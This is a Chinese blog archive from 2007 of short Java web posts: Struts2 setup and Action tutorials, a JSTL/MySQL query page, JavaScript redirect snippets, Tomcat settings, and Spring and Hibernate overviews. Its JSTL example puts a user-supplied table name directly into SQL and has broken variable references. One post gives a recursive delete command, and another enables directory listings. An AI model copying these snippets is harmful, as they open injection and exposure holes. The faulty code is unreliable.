    3.繁华四族已倾秃,高筑债台难活之.用迎春作抵押,鲜花坠入污泥溪.

    4.如花似玉天娇女,落入兽巢命陷沦.薄命如斯终古恨,侯门艳质化灰尘.

    5.迎春命苦归山狼,越想越思哭断肠.丽质天生遭兽污,呜呼一命付汪洋.

    6.法外逍遥孙绍祖,害人罪恶贾包之.骄奢淫佚寻常事,公辅千金作贱妓.

    7.负义忘恩孙绍祖,祖冤祖孽统乘之.寻欢作乐污多女,害命贪财胜虎豹.

    8.芳魂艳魄剧悠悠,害人黄泉恨不休.昔日恩由全不问,恩人当作是冤仇.

    9.迎春误入冤家孽,不了深仇众恨之.天否无睛人不管,冤冤怨怨报何为.

    10.人世偏多此恶官,胡为乱作喜欢欢.皇朝大厦将倾倒,罪孽深深后人寒.

    posted @ 2007-09-28 16:45 jadmin 阅读(187) | 评论 (0)编辑 收藏
    Struts2 发布已经有一段时间了。
    (http://struts.apache.org/downloads.html)
    最近正在做的项目已经到了尾声,利用这段空闲的时间,我试用了一下Struts2。
    跟Struts1 相比,Struts2 做了不少改变,例如:Struts2提供一个ActionSupport基类去实现常用的接口。Action接口不是必须的,任何有execute标识的POJO对象都可以用作Struts2的Action对象,具体可以参考apache官方网站。
    http://struts.apache.org/2.0.6/index.html
    我的感觉是Struts2变的更加灵活了。
    好,既然是学习,Hello World 程序是必不可少的。
    第一步,先看看系统要求:
    Platform Requirements
    Struts 2 requires
    Servlet API 2.4
    JSP API 2.0
    Java 5
    更具体系统要求可以在文档说明中找到。
    第二步,了解如何部署Struts2程序。
    我手上没有支持Struts2的IDE所以只有自己多花点力气了。
    在以下链接中可以找到部署Struts2程序的三种方法:
    http://struts.apache.org/2.0.6/docs/ready-set-go.html
    1. Use the blank template (在struts-2.0.6-all.zip)
    2. run the Maven archetype
    3. just setup a web infrastructure from scratch
    我用了第三种方法。
    http://struts.apache.org/2.0.6/docs/simple-setup.html 这个链接上面说的很明白。主意需要库,多了或者少了都会出问题。
    我就试过把struts-2.0.6-all.zip包里边的lib全部拷贝过去,结果在tomcat启动的过程中出现一下错误:
    严重: Error filterStart
    查看tomcat日志,消耗了不少时间终于排除了问题。
    可能是里边的一些plugin包引起的,以后在慢慢研究怎么回事。
    好了,按照simple-setup.html中的说明把程序部署好。部署好之后的目录结构如下:
    struts2
    ├─META-INF
    │       MANIFEST.MF

    ├─WEB-INF
    │   │   web.xml
    │   │
    │   ├─classes
    │   │   │   struts.xml
    │   │   │
    │   │   └─org
    │   │       └─sen
    │   │           └─hello
    │   │                   HelloWorld.class
    │   │
    │   └─lib
    │           antlr-2.7.2.jar
    │           commons-beanutils-1.6.jar
    │           commons-chain-1.1.jar
    │           commons-logging-1.0.4.jar
    │           commons-validator-1.3.0.jar
    │           freemarker-2.3.8.jar
    │           ognl-2.6.11.jar
    │           oro-2.0.8.jar
    │           struts2-core-2.0.6.jar
    │           xwork-2.0.1.jar

    └─hello
             HelloWorld.jsp
    【注】我这个程序跟http://struts.apache.org/2.0.6/docs/hello-world.html上面的Hello world 是一样的,只是改了包名。
    启动tomcat,成功了^_^。
    因为我用的开发工具试myEclipse 于是,我便试着把这个项目迁移到eclipse中去
    在eclipse 中新建项目Struts2 然后把所有的文件复制过去。最后目录结构为:
    struts2
    │   .project
    │   .mymetadata
    │   .classpath

    ├─src
    │   │   struts.xml
    │   │
    │   └─org
    │       └─sen
    │           └─hello
    │                   HelloWorld.java

    ├─WebRoot
    │   ├─WEB-INF
    │   │   │   web.xml
    │   │   │
    │   │   ├─lib
    │   │   │       struts2-core-2.0.6.jar
    │   │   │       ...
    │   │   └─classes
    │   │       │   struts.xml
    │   │       │
    │   │       └─org
    │   │           └─sen
    │   │               └─hello
    │   │                       HelloWorld.class
    │   │
    │   ├─META-INF
    │   │       MANIFEST.MF
    │   │
    │   └─hello
    │           HelloWorld.jsp

    ├─.myeclipse
    └─.settings
             ...
    myEclipse 可以正确发布,但是启动的时候出现问题。
    java.lang.UnsupportedClassVersionError: org/apache/struts2/dispatcher/FilterDispatcher (Unsupported major.minor version 49.0)
    经过检查发现原因所在:我elipse的编译器虽然设成了jdk1.5,但是eclipse启动tomcat的时候还是用之前设的jdk1.4。把启动在myeclipse的application server下面找到tomcat并且把jdk设为jdk1.5便ok了。
    上面是我在试用struts2的时候遇到的一点波折。
    环境搭好了,剩下的就是抓时间应该深入学习一下。
    posted @ 2007-09-27 21:32 jadmin 阅读(78) | 评论 (0)编辑 收藏

      在这篇文章中,将为大家介绍一种基于JSP且灵活有趣的技术,那就是JSTL.JSTL全称为Java Server Pages Standard Tag Library.虽然JSP已经变的非常流行,但JSTL在基于SQL数据库的简单、快速的前后台开发中还是没有被广泛的应用。一旦你了解了JSTL,你就会了解到它的优点,并发现在你作为程序员的日常工作中,它已经被应用到了很多方面。我这里假设你已经熟悉HTML,能理解基本的SQL语句,和Jsp的基础知识。因为下面的内容要涉及到这些知识。
      JSTL是一个已经被标准化的标记库集合,她支持迭代、条件、XML文档的解析,国际化,和利用SQL与数据库交互的功能。起初,JSTL规范一直由JCP(Java Community process program)组织下的JSR #52 发展完善,"JCP肩负着Java 技术发展的重任"--官方网站这样评价。JCP作为一个开放性的组织,他同时吸收正式的会员和非正式会员.JCP对于Java技术规范的形成与发展发挥了重要的主导作用。JSTL主要包括四个基本部分的标记库:Core,XML,国际化,和对SQL的支持。由于这篇文章的主要是以其中的SQL部分的应用来快速了解JSTL,所以我们这篇文章只介绍了 Core和SQl标签库的一些基本功能。

      这项技术简单而且功能强大,足以和PHP、ColdFusion一较高下.他在拓展Java的应用领域方面有足够的能力,这些领域不只包括大型的可再升级的Web应用程序,对于仅拥有简单主页的Web程序一样没问题。这允许你在建立站点的时候可以避免那些经常考虑的XML的集成和与数据库的连接。正如我刚才提到的一样,JSTL的关键点就是简单易用。还有,那就是JSTL是基于JSP构建的, 他允许我们使用所有的Java技术,这一点我们有必要记住。

      开始之前,我们需要弄清楚怎样才能运行JSTL.由于是基于JSP技术的,所以我们运行它就需要一个能够编译JSP的容器,这里我们使用免费的JSP容器:TOMCAT(http://jakarta.apache.org/tomcat/index.html).至于如何安装这个产品已经超出了本文所讲述的范围。毫无疑问,这个软件产品现在已经很普及了,而且关于如何安装的文档资料也是很多。这里假设您已经安装并成功配置了这个容器,你只需再安装JSTL运行所需文件即可,它可以从这里下载http://jakarta.apache.org/taglibs/doc/standard-doc/intro.html你不需要真正的安装它,只需要将其中的.JAR文件包含到你的应用程序的WEB-INF/lib目录下即可,稍后我会具体说到该怎么做.

      因为我们要在一个支持标准SQL的数据库上运行程序,你需要在你的电脑上安装有一个数据库。数据库的类型有许多种,这里我选择了MySql。我之所以选择他的原因在于首先,我们需要展示JSTL对于构造简单快速的应用程序领域所起的作用,同时能和一直在这个领域处于主导地位的PHP+MySql有所比较;第二点那就是MySql是可以免费下载并包含有一个针对JAVA的JDBC驱动.总之,为了使用下面的例子,你需要下载一个MYSQL服务器(http://www.mysql.com/products/mysql/index.html; MySql Connector/J JDBC驱动程序http://www.mysql.com/products/connector-j/index.html;还有就是MySql control center http://www.mysql.com/products/connector-j/index.html),这个产品可以让你非常容易的操作管理Mysql数据库文件。全部下载完成后,你需要安装mysql和mysql Control Center。另外还有就是mysql的JDBC驱动需要放到你的web应用程序中的/Web-INF/lib目录中。
      在创建程序代码之前,你需要创建并填写数据库表。关于这方面的主题文章也相当广泛,具体如何操作超出了本文的范围。这里我推荐给你我们上面提及的一个可视化的管理工具 MySQL Control Center.你可以用他来创建一个用来运行程序的测试用户,数据库以及创建一个测试表,并填写若干记录。关于登陆名及密码 数据库名称这些配置环境参数,你应该记住他们,稍后需要应用到我们的代码中。
      现在,你就可以准备创建自己的第一个JSTL应用程序了它需要我们做下面一些事情:
      整个实例程序代码包括两个文件Hello.jsp和 Continue.jsp
      Hello.jsp文件允许你输入数据库名称、登陆名称、登陆密码、数据库表名。Continue.jsp:接受Hello.jsp中的数据信息并且连接数据库,并对数据库中的表执行一个Select请求.
      下面是这个系统所有的代码文件,我将逐一进行解释。这些代码相当简单,对于代码的结构,我相信你即使没有我的解释你也能理解的.
    1: <!-- Hello.jsp -->
    2: <html>
    3: <head>
    4: <title>Hello</title>
    5: </head>
    6: <body bgcolor="#ffffff">
    7: <h1>Please, enter all necessary information and click OK.</h1>
    8: <form method="post" action="Continue.jsp">
    9: <br>Your login to database:
    <input type="text" name="login" size="15">
    10: <br>Your password to database:
    <input type="password" name="password" size="15">
    11: <br>Your database name:
    <input type="text" name="database" size="15">
    12: <br>Your database table:
    <input type="text" name="table" size="15">
    13: <br><br><input type="submit" name="submit" value=" OK ">
    14: </form>
    15: </body>
    16: </html>  
      (请注意文本左侧的数字只是为你提供一些标记信息,你不需要将他们输入到你的代码文件中。)
      上面就是所有Hello.jsp的源代码,很惊奇吧,他仅仅是纯粹的HTML代码,就这么简单,我想应该没有注释的必要了.我之所以将这些代码片段包含进文章中就是为了展示一下JSTL集成到那些需要快速扩充额外功能的HTML站点中是多么的简单.让我再为你展示一下Continue.jsp的全部代码,看过之后,你就会对 JSTL有些了解了。
    1: <!-- Continue.jsp -->
    2: <%@ taglib prefix="c" uri="http://java.sun.com/jstl/core" %>
    3: <@ taglib prefix="sql" uri="http://java.sun.com/jstl/sql" %>
    4: <c:set var="h" value="localhost"/>
    5: <c:set var="l" value="${param.login}"/>
    6: <c:set var="p" value="${param.password}"/>
    7: <c:set var="d" value="${param.database}"/>
    8: <c:set var="t" value="${param.table}"/>
    9: <html>
    10: <head>
    11: <title>Continue</title>
    12: </head>
    13: <body bgcolor="#ffffff">
    14: <sql:setDataSource driver="com.mysql.jdbc.Driver"
    url="jdbc:mysql://${l}/${d}?user=${u}&password=${p}"/>
    15: <sql:query var="result">
    16: SELECT * FROM <c:out value="${t}"/>
    17: </sql:query>
    18: <c:forEach var="row" items="${result.rowsByIndex}">
    19: <c:out value="${row[0]}"/> <br>
    20: </c:forEach>
    21: </body>
    22: </html>  
    (请注意文本左侧的数字只是为你提供一些标记信息,你不需要将他们输入到你的代码文件中。)

    posted @ 2007-09-27 21:31 jadmin 阅读(44) | 评论 (0)编辑 收藏
      这是很头痛的问题,一直都是在困扰着我们。我有一个不算简单也不算难的方法,这是我一直在用的方式。

    1、建立一个类,包括一个格式将中文转换为ISO8859-1编码的方法:
    publicclass Format2Chinese {
    public Format2Chinese() {
    }
    public String format2IS08859(String str) {
    try {
    if (str == null || str.trim().equals(""))
    str = "";
    else
    str = new String(str.getBytes("ISO8859-1"));

    } catch (Exception e) {
    e.printStackTrace();
    }
    return str;
    }
    }
    2、你的bean里面这时就要加一些东西了,如下面这个简单的bean:
    publicclass Leavemsg
    {
    public Leavemsg() {
    }
    //这个要加的,因为写入的时候我们不格式,写出的时候格式化
    public Leavemsg(boolean format) {
    this.format = format;
    }
    private String msg;
    booleanformat = false; //用于确定是否将字符格式转换
    Format2Chinese function = new Format2Chinese();

    publicvoid setMsg(String msg) {
    if (format) {
    this.msg = function.format2IS08859(msg);
    } else
    this.msg = msg;
    }
    public String getMsg() {
    return msg;
    }
    }

    3、在用bean装数据的时候,这样声明:

    Leavemsg msg=new Leavemsg(true); 然后其它的操作都是一样的,就OK了。
    这时页面显示中文的时候就不会出问题了,在JSP页面里这可以这样,用该类做包装得到的内容。
    posted @ 2007-09-27 20:27 jadmin 阅读(59) | 评论 (0)编辑 收藏
    以下假设jad.exe在c:\java目录下
    一、基本用法
    Usage:     jad [option(s)] <filename(s)>
    直接输入类文件名,且支持通配符,如下所示。
    c:\java\>jad example1.class
    c:\java\>jad *.class
    结果是将example1.class反编译为example1.jad。将example1.jad改为example1.java即得源文件。

    posted @ 2007-09-27 12:28 jadmin 阅读(57) | 评论 (0)编辑 收藏
    del/q/s   work\*.*
    posted @ 2007-09-27 10:48 jadmin 阅读(127) | 评论 (0)编辑 收藏

    (1)在命令行中运用Jar命令

    假定有一个Web应用:C:\myHome

    myHome/WEB-INF/……
    myHome/files/……
    myHome/image/……
    myHome/src/……
    myHome/index.jsp

    在命令行窗口下执行如下命令:

    C:\>cd myHome

    C:\myHome\>jar      cvf      myhome.war      *.*/     .

    解释:jar      cvf      [A->war包名].war   [B->资源文件及文件夹]      [C->将要生成war包的目标文件夹]

    *.*/”(B->)代表当前目录(C:\myHome)下的所有文件及文件夹。

    .”    (C->)表明将要在当前目录中生成war包。

    操作完成后,找到C:\myHome下新生成的myhome.war,将其拷入TOMCAT_HOME/webapps/下。然后启动Tomcat即可。

    (2)利用IDE工具打包,如Eclipse

    右键点击你想打包的文件或者项目,选择“导出...”,在弹出的对话框中选择“WAR文件” ,上面有许多选项,还可以选“EAR”,“JAR”,个人觉得这个很方便的!

    (3)利用ANT工具打包

    首先配置好build.xml文件,然后dos下输入ant ...war

    (4)用Eclipse的lomboz插件

    选中你的web工程,lomboz J2ee---Deploy Module,就可以把Web工程发布并打包了!

    posted @ 2007-09-27 10:41 jadmin 阅读(43) | 评论 (0)编辑 收藏
    <html>
        <head>
          <title>Examples of the var Keyword</title>
        <script language="JavaScript">
        <!--
        var myVar = "Global";

        function myFunc(){
          var myVar = "Function";
          return myVar;
        }

        function mySecFunc(){
          var myVar = "Second Function";
          document.write("<br>The value of myVar when called by mySecFunc() is: ");
          document.write(myVar);
        }
        -->
        </script>
        </head>
        <body>
        <script language="JavaScript">
        <!--
        document.write("The value of myVar when called is: " + myVar)

        document.write("<br>The value of myVar when called by myFunc() is: ");

        document.write(myFunc());

        mySecFunc();

        -->
        </script>
        </body>
        </html>

    posted @ 2007-09-25 11:32 jadmin 阅读(40) | 评论 (0)编辑 收藏

    代码:

    <html>
    <head>
    <title>Title of Document</title>

    <script src="path-to-file/fileName.js"></script>

    </head>
    <body>

    The content of
    your page goes here.

    </body>
    </html>

    posted @ 2007-09-25 11:29 jadmin 阅读(56) | 评论 (0)编辑 收藏

    HTML Template Page supporting the JavaScript

    代码:

    <html>
    <head>
    <title>HTML Template Page</title>
    <script language="javascript">
    <!--

    // -->
    </script>
    </head>
    <body>

    </body>
    </html>

    posted @ 2007-09-25 11:27 jadmin 阅读(53) | 评论 (0)编辑 收藏

    Use the 'script' tag to incluse your javascript code

    代码如下:

    <html>
    <head>
    <title>Title of Document</title>

    <script>

    // All Your Javascript Code goes In Here Between the opening and closing script tags.

    </script>

    </head>
    <body>

    The content of
    your page here.

    </body>
    </html>

    posted @ 2007-09-25 11:25 jadmin 阅读(47) | 评论 (0)编辑 收藏

    Use self to reference the current document

    代码如下:

    <html>
    <head>
    <script language="JavaScript" type = "text/javascript">
    <!--
    if (top==self)
    {
         var main_frame = "http://hao123.com";
         var cur_url = self.location.href;
         var setframes = main_frame + "?" + cur_url;
         location.href = setframes;
    }
    //-->
    </script>
    </head>
    <body>

    </body>
    </html>

    posted @ 2007-09-25 11:22 jadmin 阅读(35) | 评论 (0)编辑 收藏

    1. 在<head></head>区域加入代码:
    <meta http-equiv=Pragma content=no-cache>
    <Meta http-equiv="refresh" content="3;url='http://hi.baidu.com/jadmin' ">

    2. 使用JavaScript代码:
    <SCRIPT LANGUAGE="JavaScript">
    <!-- Begin
    redirTime = "3000";
    redirURL = "http://hi.baidu.com/jadmin";
    function redirTimer() { self.setTimeout("self.location.href = redirURL;",redirTime); }
    //   End -->
    </script>
    <body onLoad="redirTimer()">

    3. 使用JavaScript代码:
    <html><head><title>稍候。。。</title></head>
    <body>
    <script language='javascript'>document.location = 'http://hi.baidu.com/jadmin'</script>
    </body>
    </html>

    4. 带进度条的页面跳转代码代码:
    <html>
    <head>
    <meta http-equiv="Content-Language" content="zh-cn">
    <meta HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=gb2312">
    <title>带进度条的页面跳转代码</title>
    </head>
    <body>
    <form name=loading>
    <P align=center>
    <FONT face=Arial color=#0066ff size=2>loading...</FONT>
    <INPUT style="PADDING-RIGHT: 0px; PADDING-LEFT: 0px; FONT-WEIGHT: bolder; PADDING-BOTTOM: 0px; COLOR: #0066ff; BORDER-TOP-style: none; PADDING-TOP: 0px; FONT-FAMILY: Arial; BORDER-RIGHT-style: none; BORDER-LEFT-style: none; BACKGROUND-COLOR: white; BORDER-BOTTOM-style: none" size=46 name=chart>
    <BR>
    <INPUT style="BORDER-RIGHT: medium none; BORDER-TOP: medium none; BORDER-LEFT: medium none; COLOR: #0066ff; BORDER-BOTTOM: medium none; TEXT-ALIGN: center" size=47 name=percent>
    <SCRIPT>
    var bar=0
    var line="││"
    var amount="││"
    count()
    function count(){
    bar=bar+2
    amount =amount + line
    document.loading.chart.value=amount
    document.loading.percent.value=bar+"%"
    if (bar<99)
    {setTimeout("count()",100);}
    else
    {window.location = "http://hi.baidu.com/jadmin";}
    }
    </SCRIPT>
    </P>
    </form>
    </body>
    </html>

    posted @ 2007-09-25 11:04 jadmin 阅读(83) | 评论 (0)编辑 收藏

    其实很简单的,之前我却琢磨了很久,具体方法如下:

    找到Tomcat安装目录下的conf/web.xml文件中的代码

              <init-param>
                  <param-name>listings</param-name>
                  <param-value>false</param-value>
              </init-param>

    修改为:

              <init-param>
                  <param-name>listings</param-name>
                  <param-value>true</param-value>
              </init-param>

    即可

    posted @ 2007-09-25 10:54 jadmin 阅读(77) | 评论 (0)编辑 收藏
    Spring是一个开源框架,它由Rod Johnson创建。它是为了解决企业应用开发的复杂性而创建的。Spring使用基本的JavaBean来完成以前只可能由EJB完成的事情。然而,Spring的用途不仅限于服务器端的开发。从简单性、可测试性和松耦合的角度而言,任何Java应用都可以从Spring中受益。

    • 目的:解决企业应用开发的复杂性

    • 功能:使用基本的JavaBean代替EJB,并提供了更多的企业应用功能

    • 范围:任何Java应用

    简单来说,Spring是一个轻量级的控制反转(IoC)和面向切面(AOP)的容器框架。

    ■ 轻量——从大小与开销两方面而言Spring都是轻量的。完整的Spring框架可以在一个大小只有1MB多的JAR文件里发布。并且Spring所需的处理开销也是微不足道的。此外,Spring是非侵入式的:典型地,Spring应用中的对象不依赖于Spring的特定类。

    ■ 控制反转——Spring通过一种称作控制反转(IoC)的技术促进了松耦合。当应用了IoC,一个对象依赖的其它对象会通过被动的方式传递进来,而不是这个对象自己创建或者查找依赖对象。你可以认为IoC与JNDI相反——不是对象从容器中查找依赖,而是容器在对象初始化时不等对象请求就主动将依赖传递给它。

    ■ 面向切面——Spring提供了面向切面编程的丰富支持,允许通过分离应用的业务逻辑与系统级服务(例如审计(auditing)和事务()管理)进行内聚性的开发。应用对象只实现它们应该做的——完成业务逻辑——仅此而已。它们并不负责(甚至是意识)其它的系统级关注点,例如日志或事务支持。

    ■ 容器——Spring包含并管理应用对象的配置和生命周期,在这个意义上它是一种容器,你可以配置你的每个bean如何被创建——基于一个可配置原型(prototype),你的bean可以创建一个单独的实例或者每次需要时都生成一个新的实例——以及它们是如何相互关联的。然而,Spring不应该被混同于传统的重量级的EJB容器,它们经常是庞大与笨重的,难以使用。

    ■ 框架——Spring可以将简单的组件配置、组合成为复杂的应用。在Spring中,应用对象被声明式地组合,典型地是在一个XML文件里。Spring也提供了很多基础功能(事务管理、持久化框架集成等等),将应用逻辑的开发留给了你。

    所有Spring的这些特征使你能够编写更干净、更可管理、并且更易于测试的代码。它们也为Spring中的各种模块提供了基础支持。
    posted @ 2007-09-24 15:53 jadmin 阅读(66) | 评论 (0)编辑 收藏
    Hibernate 是一个面向Java环境的对象/关系数据库映射工具。用来把对象模型表示的对象映射到基于SQL 的关系模型结构中去。

    Hibernate 不仅仅管理Java 类到数据库表的映射,还提供数据查询和获取数据的方法,可以大幅度减少开发时人工使用SQL 和JDBC 处理数据的时间。Hibernate 的目标是对于开发者通常的数据持久化相关的编程任务,解放其中的95%。


    是一个开放源代码的对象关系映射框架,它对JDBC进行了非常轻量级的对象封装,使得Java程序员可以随心所欲的使用对象编程思维来操纵数据库。 Hibernate可以应用在任何使用JDBC的场合,既可以在Java的客户端程序实用,也可以在Servlet/JSP的Web应用中使用,最具革命意义的是,Hibernate可以在应用EJB的J2EE架构中取代CMP,完成数据持久化的重任。
    posted @ 2007-09-24 15:49 jadmin 阅读(56) | 评论 (0)编辑 收藏

    Struts 2.0的Action讲解
    有Struts 1.x经验的朋友都知道Action是Struts的核心内容,当然Struts 2.0也不例外。不过,Struts 1.x与Struts
    2.0的Action模型很大的区别。
             Struts 1.xStuts 2.0
            接口必须继承org.apache.struts.action.Action或者其子类无须继承任何类型或实现任何接口
            表单数据表单数据封装在FormBean中表单数据包含在Action中,通过Getter和Setter获取

    虽然,理论上Struts
    2.0的Action无须实现任何接口或继承任何类型,但是,我们为了方便实现Action,大多数情况下都会继承com.opensymphony.xwork2.ActionSupport类,并重载(Override)此类里的String
    execute()方法。具体的实现,如例1所示:
    <% @ page contentType = " text/html; charset=UTF-8 " %>
    <% @ taglib prefix = " s " uri = " /struts-tags " %>
    < html >
    < head >
          < title > Hello World! </ title >
    </ head >
    < body >
          < h2 >< s:property value ="message" /></ h2 >
    </ body >
    </ html > 例1 HelloWorld.jsp

    package tutorial;

    import java.text.DateFormat;
    import java.util.Date;

    import com.opensymphony.xwork2.ActionSupport;

    public class HelloWorld extends ActionSupport    {
           private String message;
        
           public String getMessage()    {
               return message;
          }
        
          @Override
           public String execute()    {
              message = " Hello World, Now is " + DateFormat.getInstance().format( new
    Date());
               return SUCCESS;
          }
    } 例1 classes/tutorial/HelloWorld.java

    < package name ="ActionDemo" extends ="struts-default" >
          < action name ="HelloWorld" class ="tutorial.HelloWorld" >
              < result > /HelloWorld.jsp </ result >
          </ action >
    </ package > 例1 classes/struts.xml中HelloWorld Action的配置


    在浏览器地址栏中键入http://localhost:8080/Struts2_Action/HelloWorld.action,可以看到如图1所示页面。
      
    图1 HelloWorld输出页面

    参考JavaDoc,可知ActionSupport类实现了接口:
        com.opensymphony.xwork2.Action
        com.opensymphony.xwork2.LoaleProvider
        com.opensymphony.xwork2.TextProvider
        com.opensymphony.xwork2.Validateable
        com.opensymphony.xwork2.ValidationAware
        com.uwyn.rife.continuations.ContinuableObject
        java.io.Searializable
        java.lang.Cloneable
    默认情况下,当请求HelloWorld.action发生时,Struts运行时(Runtime)根据struts.xml里的Action映射集(Mapping),实例化tutoiral.HelloWorld类,并调用其execute方法。当然,我们可以通过以下两种方法改变这种默认调用。这个功能(Feature)有点类似Struts
    1.x中的LookupDispathAction。
        在classes/sturts.xml中新建Action,并指明其调用的方法;
        访问Action时,在Action名后加上“!xxx”(xxx为方法名)。
    实现方法请参考例2:
    在classes/tutorial/HelloWorld.java中加入以下方法:
    public String aliasAction() {
          message ="自定义Action调用方法";
          return SUCCESS;
    }例2 classes/tutorial/HelloWorld.java代码片段

    实现方法一,在classes/sturts.xml中加入下面代码:
    <action name="AliasHelloWorld" class="tutorial.HelloWorld" method="aliasAction">
         <result>/HelloWorld.jsp</result>
    </action>例2 classes/struts.xml中AlaisHelloWorld Action的配置

    实现方法二,使用http://localhost:8080/Struts2_Action/HelloWorld!aliasAction.action地址来访问HelloWorld
    Action。
    在浏览器地址栏中键入http://localhost:8080/Struts2_Action/AliasHelloWorld.action
    http://localhost:8080/Struts2_Action/HelloWorld!aliasAction.action,可以看到如图2所示页面。

    图2 自定义Action调用方法页面
    通过上面的两个例子,细心的朋友应该可能会发现classes/tutorial/HelloWorld.java中Action方法(execute和aliasAction)返回都是SUCCESS。这个属性变量我并没有定义,所以大家应该会猜到它在ActionSupport或其父类中定义。没错,SUCCESS在接口com.opensymphony.xwork2.Action中定义,另外同时定义的还有ERROR,
    INPUT, LOGIN, NONE。
    此外,我在配置Action时都没有为result定义名字(name),所以它们默认都为success。值得一提的是Struts
    2.0中的result不仅仅是Struts
    1.x中forward的别名,它可以实现除forward外的很激动人心的功能,如将Action输出到FreeMaker模板、Velocity模板、JasperReports和使用XSL转换等。这些都过result里的type(类型)属性(Attribute)定义的。另外,您还可以自定义result类型。
    下面让我们来做一个Velocity模板输出的例子,首先在classes/struts.xml中新建一个Action映射(Mapping),将其result类型设为velocity,如以下代码所示:
    <action name="VMHelloWorld" class="tutorial.HelloWorld">
          <result type="velocity">/HelloWorld.vm</result>
    </action>例3 classes/struts.xml中VMHelloWorld Action的配置

    新建HelloWorld.vm,内容如下所示:
    <html>
        <head>
          <title>Velocity</title>
          <meta http-equiv="content-type" content="text/html; charset=UTF-8">
        </head>
        <body>
          <h2>Message rendered in Velocity: $message</h2>
        </body>
    </html>例3 HelloWorld.vm

    在浏览器地址栏中键入http://localhost:8080/Struts2_Action/VMHelloWorld.action,页面输出如下图3所示。

    图3 HelloWorld.vm的输出页面
            要运行例3需要在WEB-INF/lib中添加以下几个包:
              commons-collections-3.2.jar
              velocity-1.4.jar
              velocity-tools-view-1.2.jar
              avalon-logkit-2.1.jar


    前面,我花了不少的时间讨论Action的输出。我老板有句名言——程序无非就是输入、操作和输出。因此,现在我们要讨论一下输入——表单输入。
    使用Struts
    2.0,表单数据的输入将变得非常方便,和普通的POJO一样在Action编写Getter和Setter,然后在JSP的UI标志的name与其对应,在提交表单到Action时,我们就可以取得其值。
    让我们看一个例子,新建Login
    Action,它通过Login.jsp的表单获得用户名和密码,验查用户名是否为“max”,密码是否则为“secret”。如果,两者都符合,就在HelloWorld中显示“Welcome,
    max”,否则显示“Invalid user or Password”。
    package tutorial;

    import com.opensymphony.xwork2.ActionSupport;

    publicclass Login extends ActionSupport {
          private String name;
          private String password;
          private String message;
        
          public String getName() {
              return name;
          }
        
          publicvoid setName(String name) {
              this.name = name;
          }
        
          public String getPassword() {
              return password;
          }
        
          publicvoid setPassword(String password) {
              this.password = password;
          }
        
          public String getMessage() {
              return message;
          }

          @Override
          public String execute() {
              if("max".equals(name) &&"Secret".equals(password)) {
                  message ="Welcome, "+ name;
              }else{
                  message ="Invalid user or password";
              }
              return SUCCESS;
          }
    }例4 classes/tutorial/Login.java

    <%@ page contentType="text/html; charset=UTF-8" %>
    <%@ taglib prefix="s" uri="/struts-tags"%>
    <html>
    <head>
          <title>Login</title>
    </head>
    <body>
    <s:form action="Login" method="POST">
          <s:textfield name="name" label="User name"/>
          <s:password name="password" label="Password"/>
          <s:submit value="Submit"/>
    </s:form>
    </body>
    </html>例4 Login.jsp

    <action name="Login" class="tutorial.Login">
          <result>/HelloWorld.jsp</result>
    </action>例4 classes/struts.xml中Login Action的配置

    运行Tomcat,在浏览器地址栏中键入http://localhost:8080/Struts2_Action/Login.jsp,出现如图4所示页面。


    分别在User name中输入“max”和“secret”,点击“Submit”按钮,出现如图5所示页面。


    在浏览器地址栏中键入http://localhost:8080/Struts2_Action/Login.jsp,分别在User
    name中输入“Scott”和“password”,点击“Submit”按钮,出现如图6所示页面。


    ;
    Struts
    2.0更厉害的是支持更高级的POJO访问,如user.getPassword()。我们可以用另一写法实现例4。首先,将name和password从Login类中分离出来,到新建类User中。这样对我们开发多层系统尤其有用。它可以使系统结构更清晰。
    package tutorial;

    import com.opensymphony.xwork2.ActionSupport;

    publicclass LoginX extends ActionSupport {
          private User user;
          private String message;
        
          publicvoid setUser(User user) {
              this.user = user;
          }
        
          public User getUser() {
              return user;
          }
        
          public String getMessage() {
              return message;
          }
        
          @Override
          public String execute() {        
              if("max".equals(user.getName()) &&"secret".equals(user.getPassword())) {
                  message ="Welcome, "+ user.getName();
              }else{
                  message ="Invalid user or password";
              }
              return SUCCESS;
          }
    }例5 classes/tutorial/LoginX.java

    <%@ page contentType="text/html; charset=UTF-8" %>
    <%@ taglib prefix="s" uri="/struts-tags"%>
    <html>
    <head>
          <title>Login</title>
    </head>
    <body>
    <s:form action="LoginX" method="POST">
          <s:textfield name="user.name" label="User name"/>
          <s:password name="user.password" label="Password"/>
          <s:submit value="Submit"/>
    </s:form>
    </body>
    </html>例5 LoginX.jsp

    <action name="LoginX" class="tutorial.LoginX">
          <result>/HelloWorld.jsp</result>
    </action>例5 classes/struts.xml中的LoginX Action配置  
    很多时候我的同事会问我:“如果我要取得Servlet
    API中的一些对象,如request、response或session等,应该怎么做?这里的execute不像Struts
    1.x的那样在参数中引入。”开发Web应用程序当然免不了跟这些对象打交道。在Strutx
    2.0你可以有两种方式获得这些对象:非IoC(控制反转Inversion of Control)方式和IoC方式。
        非IoC方式
        要获得上述对象,关键Struts
        2.0中com.opensymphony.xwork2.ActionContext类。我们可以通过它的静态方法getContext()获取当前Action的上下文对象。
        另外,org.apache.struts2.ServletActionContext作为辅助类(Helper Class),可以帮助您快捷地获得这几个对象。

          HttpServletRequest request = ServletActionContext.getRequest();
          HttpServletResponse response = ServletActionContext.getResponse();
          HttpSession session = request.getSession();
        如果你只是想访问session的属性(Attribute),你也可以通过ActionContext.getContext().getSession()获取或添加session范围(Scoped)的对象。
        IoC方式
        要使用IoC方式,我们首先要告诉IoC容器(Container)想取得某个对象的意愿,通过实现相应的接口做到这点。具体实现,请参考例6
        IocServlet.java。
    package tutorial;

    import javax.servlet.http.HttpServletRequest;
    import javax.servlet.http.HttpServletResponse;
    import javax.servlet.http.HttpSession;

    import org.apache.struts2.ServletActionContext;

    import com.opensymphony.xwork2.ActionContext;
    import com.opensymphony.xwork2.ActionSupport;

    publicclass NonIoCServlet extends ActionSupport {
          private String message;
        
          public String getMessage() {
              return message;        
          }
        
          @Override
          public String execute() {    
              ActionContext.getContext().getSession().put("msg", "Hello World from
    Session!");
            
              HttpServletRequest request = ServletActionContext.getRequest();
              HttpServletResponse response = ServletActionContext.getResponse();       

              HttpSession session = request.getSession();
            
              StringBuffer sb =new StringBuffer("Message from request: ");
              sb.append(request.getParameter("msg"));
              sb.append("<br>Response Buffer Size: ");
              sb.append(response.getBufferSize());
              sb.append("<br>Session ID: ");
              sb.append(session.getId());
            
              message = sb.toString();
              return SUCCESS;
          }
    }例6 classes/tutorial/NonIoCServlet.java

    package tutorial;

    import java.util.Map;

